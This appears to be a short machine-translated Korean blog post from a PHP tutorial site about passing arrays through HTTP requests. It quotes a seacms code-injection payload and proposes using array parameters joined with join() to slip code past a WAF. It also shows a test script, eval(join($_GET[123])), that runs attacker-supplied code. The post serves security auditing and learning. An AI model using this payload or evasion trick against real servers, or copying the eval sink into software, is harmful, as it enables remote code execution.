PHP가 http 요청을 통해 배열을 보내는 방법에 대한 공유 예

黄舟
풀어 주다: 2023-03-16 18:40:01
원래의
2295명이 탐색했습니다.

최근에 PHP 감사를 배우기 시작했는데, seacms를 공부하던 중에 페이로드에서 이상한 점을 발견했습니다.

searchtype=5&searchword={
if{searchpage:year}&year=:e{searchpage:area}
}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
로그인 후 복사

해본 결과 데이터를 수신할 때 다음과 같은 사실을 발견했습니다. 예:

키 이름 = a, 그러면 pass a[ ]=a&a[]=b, a는 배열이므로 테스트를 해보니 과연

서버측 테스트 코드

<?php
	print_r($_GET[1]);
?>
로그인 후 복사

테스트 결과는 다음과 같습니다

PHP가 http 요청을 통해 배열을 보내는 방법에 대한 공유 예

PHP가 http 요청을 통해 배열을 보내는 방법에 대한 공유 예

그럼 이 모직물의 용도는 무엇입니까? 생각해 보니 서버에 보안견이나 WAF 등의 보호 도구가 있다면 조인 기능 등 다른 PHP 기능을 사용하면 우회 효과를 얻을 수도 있다

간단한 아이디어 제공

서버 테스트 코드

<?php
	eval(join($_GET[123]));
?>
로그인 후 복사

테스트 결과는 다음과 같습니다

PHP가 http 요청을 통해 배열을 보내는 방법에 대한 공유 예

위 내용은 PHP가 http 요청을 통해 배열을 보내는 방법에 대한 공유 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
원천:php.cn
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
최신 이슈
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿
회사 소개 부인 성명 Sitemap
PHP 중국어 웹사이트:공공복지 온라인 PHP 교육,PHP 학습자의 빠른 성장을 도와주세요!